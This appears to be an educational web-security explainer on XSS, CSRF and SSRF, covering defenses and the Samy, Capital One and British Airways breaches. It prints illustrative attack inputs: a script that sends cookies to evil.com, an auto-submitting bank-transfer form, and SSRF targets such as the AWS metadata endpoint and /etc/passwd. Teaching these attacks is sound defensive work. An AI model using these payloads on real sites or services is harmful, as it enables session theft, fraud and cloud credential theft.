CSRF, XSS, SSRF
Full breakdown of the three injection-class web vulnerabilities, real breach case studies (Capital One, MySpace Samy), and defense in depth strategies.
XSS: Cross-Site Scripting
XSS is the bug where attacker-controlled data ends up in a victim's browser as executable JavaScript. The classic example.
<div>Hello, <span>{{ user_input }}</span></div>If user_input is <script>fetch("https://evil.com/?c="+document.cookie)</script>, the victim's browser runs it. JS running on your origin can read your cookies (unless httpOnly), read localStorage, make any request the user could make, take screenshots, install crypto miners, anything.
Three flavors.
- Reflected XSS: payload in URL params or form input, server reflects it back in the response.
?name=<script>...</script>ends up in the rendered HTML. - Stored XSS: payload saved in your DB (a comment, a profile bio, a chat message), served to every viewer. Worst kind, scales to all users. The Samy worm on MySpace (2005) added "Samy is my hero" to over a million profiles in 20 hours via stored XSS.
- DOM-based XSS: server is innocent, the bug is in client-side JS.
document.body.innerHTML = location.hash.slice(1)lets#<img src=x onerror=...>execute.
XSS Defense Layers
The defense is layered. No single mechanism is enough.
Layer 1: contextual output encoding. The browser interprets text differently in different contexts. HTML body, HTML attribute, JS string, URL parameter, CSS value all need different escaping.
React, Vue, Svelte all escape by default when you use {value}. They write text nodes, not raw HTML. You only get XSS if you explicitly opt out with dangerouslySetInnerHTML or v-html.
For server-rendered templates, use a library that knows context. Liquid, Jinja2 with autoescape, Go html/template. Never string-concatenate HTML.
Layer 2: Content Security Policy (CSP). An HTTP header that tells the browser what scripts can run.
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-RANDOM'; object-src 'none'
A strict CSP with nonces prevents inline scripts from running even if an attacker injects them. Each <script> tag in your real HTML gets a unique nonce attribute. Inline scripts without the right nonce do not execute.
CSP is the difference between "XSS is a bug" and "XSS is a critical vuln." If your CSP is strict, an XSS attacker can inject HTML but cannot run scripts, which neuters the attack to a defacement.
Layer 3: httpOnly cookies. Set Set-Cookie: session=...; HttpOnly; Secure; SameSite=Lax. JavaScript cannot read httpOnly cookies via document.cookie. An XSS attacker cannot directly exfiltrate the session.
Layer 4: validate input. Reject what does not look right. If a field should be an email, validate it. If a comment is markdown, sanitize the rendered HTML with DOMPurify.
CSRF: Cross-Site Request Forgery
CSRF abuses the fact that browsers automatically attach cookies to requests. If you are logged into bank.com and visit evil.com, evil.com can submit a form to bank.com and the cookie comes along.
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>The browser sends the POST with the session cookie. The bank's server sees an authenticated transfer request. Without defense, it processes it.
CSRF only works on requests that change state and rely on cookies for auth. GET requests with side effects are vulnerable too (do not have those). Requests authenticated with bearer tokens in headers are not vulnerable because the browser does not automatically attach Authorization headers cross-site.
CSRF Defense
SameSite cookies are the modern primary defense. The Set-Cookie: SameSite=Lax attribute tells the browser to only send the cookie when the request comes from a same-site context.
- SameSite=Strict: cookie never sent cross-site. Most secure, breaks SSO and "open in new tab from another site" UX.
- SameSite=Lax: cookie sent on top-level GET navigations from other sites (so links work) but not on cross-site POSTs, iframes, or images. Modern browser default.
- SameSite=None; Secure: cookie sent cross-site always. Required for third-party iframes and APIs that need cross-origin cookies.
Browsers (Chrome, Firefox, Safari) default to Lax since 2020. This killed most classical CSRF. But.
- Subdomains are same-site. If
evil.yoursite.comis compromised, it can CSRFapp.yoursite.com. - GET endpoints that mutate state are still vulnerable.
- If your auth flow needs SameSite=None for some reason, you lose the default protection.
So CSRF tokens are still the belt-and-suspenders approach. Server generates a random token, includes it in a hidden form field or a header, validates on submit. Attacker on evil.com cannot read the token from bank.com (same-origin policy).
The double-submit cookie pattern. Server sets a random value as both a cookie and embeds it in the form. On submit, server checks the cookie value matches the form value. Attacker can set arbitrary cookies on their own domain but not bank.com, so they cannot synthesize the match.
SSRF: Server-Side Request Forgery
SSRF is when the attacker tricks your server into making an HTTP request to a URL the attacker controls or to internal resources behind your firewall.
The setup: any feature that takes a URL and fetches it. "Import from URL." "Avatar from URL." "Webhook URL to call us." "Profile picture URL."
The attack: attacker enters a URL pointing to internal resources.
http://localhost:8080/admin- internal admin panelhttp://169.254.169.254/latest/meta-data/- AWS instance metadata (gives IAM credentials)http://internal-postgres:5432- private DBfile:///etc/passwd- local files (if your HTTP lib follows file:// scheme)gopher://...- even weirder protocols
The Capital One breach (2019). A misconfigured WAF was vulnerable to SSRF. Attacker made it fetch the AWS metadata endpoint and got the IAM role credentials. That role had access to S3 buckets with 100 million customer records. $80M+ in damages.
SSRF Defense
- Strict allowlist of destination hostnames. If your feature should only fetch images from Imgur, only allow imgur.com.
- Block private IP ranges in the resolver. After DNS resolution, before connecting, check the IP is not in 10/8, 172.16/12, 192.168/16, 169.254/16, 127/8, IPv6 link-local fc00::/7 or fe80::/10. Beware DNS rebinding: hostname resolves to public IP at validation time, private IP at fetch time. Resolve once, use the resolved IP.
- Use IMDSv2 on AWS. Requires a session token obtained via PUT, which curl/wget defaults don't do. Naive SSRF is blocked.
- Egress proxy. All outbound HTTP from your services goes through a proxy with an allowlist. The application servers cannot reach the internal network directly.
- Disable URL schemes other than http/https. Configure your HTTP client to reject file://, gopher://, ftp://.
- Drop the response body for some endpoints (CSRF-like blind SSRF still works for triggering side effects but the attacker cannot read responses).
SSRF Variants
Blind SSRF: attacker cannot see the response, but can trigger requests. Still useful for:
- Internal port scanning (timing differences reveal open ports).
- Triggering side effects (some internal endpoints do things on GET).
- DNS exfiltration (attacker points URL at
data.<attacker-controlled-dns>and reads DNS logs).
DNS rebinding SSRF: attacker sets up a DNS record that returns a public IP at first query (passes validation) then a private IP shortly after (used for the actual fetch). Defense: resolve once, use the resolved address, do not let the HTTP client re-resolve.
Cross-Cutting: Where The Defenses Live
| Vuln | Primary Defense | Where Implemented |
|---|---|---|
| XSS | Output encoding, CSP | Template engine, response headers |
| CSRF | SameSite cookies, CSRF tokens | Cookie config, middleware |
| SSRF | URL allowlist, network isolation | Application code, network policy |
Notice the layers are different. XSS is fixed in your view layer. CSRF is fixed in your auth and middleware. SSRF is fixed in your network and outbound request code. A single security review must touch all three layers.
Real Breach Studies
The Samy worm (2005). Stored XSS in MySpace profiles. Worm added itself to every viewer's profile. Infected 1M+ profiles in 20 hours, crashed MySpace. The injected JS got past MySpace's filter by exploiting browser quirks in how JavaScript URIs were parsed inside CSS. Lesson: blocklist-based filtering is impossible to get right, use allowlists and contextual encoding.
The Capital One breach (2019). SSRF in a misconfigured WAF. Attacker fetched AWS instance metadata, got temporary IAM credentials, accessed 100M+ records in S3. Lesson: defense in depth. IMDSv2 (Token-required), network policy to block 169.254.169.254 from app subnets, least-privilege IAM roles.
The British Airways skimming (2018). XSS via a compromised JS dependency (Magecart). Attackers injected code that exfiltrated credit card data from the checkout page. 380K customers affected, 183M GBP fine. Lesson: Subresource Integrity (SRI) on third-party scripts, CSP to restrict which domains scripts can talk to.
Common Pitfalls
- Sanitizing input but not output. The right escape depends on context (HTML body vs attribute vs JS string vs URL). Use a templating engine that does it.
- Trusting that React makes you XSS-proof.
dangerouslySetInnerHTML,href={userUrl}with ajavascript:URL, and SVG content all bypass auto-escaping. - Setting SameSite=None when you don't need to. You opted out of CSRF protection.
- SSRF validation that does DNS resolution twice (once for check, once for fetch). DNS rebinding.
- Allowing
localhostor127.0.0.1in SSRF allowlists during dev and forgetting to remove for prod.
Interview Soundbites
- "XSS, CSRF, SSRF are three different trust boundary violations. Different fixes."
- "XSS defense is contextual output encoding plus CSP. React's escaping plus a strict CSP plus httpOnly cookies."
- "Modern browsers default SameSite=Lax, which killed classical CSRF, but I still use CSRF tokens on critical endpoints."
- "SSRF defense is URL allowlists, blocked private IP ranges, and an egress proxy. Capital One got hit by SSRF and lost 100M records."
Learn more
- DocsOWASP Top 10OWASP
- Docs
- ArticleCapital One SSRF breach analysisKrebs on Security
- Docs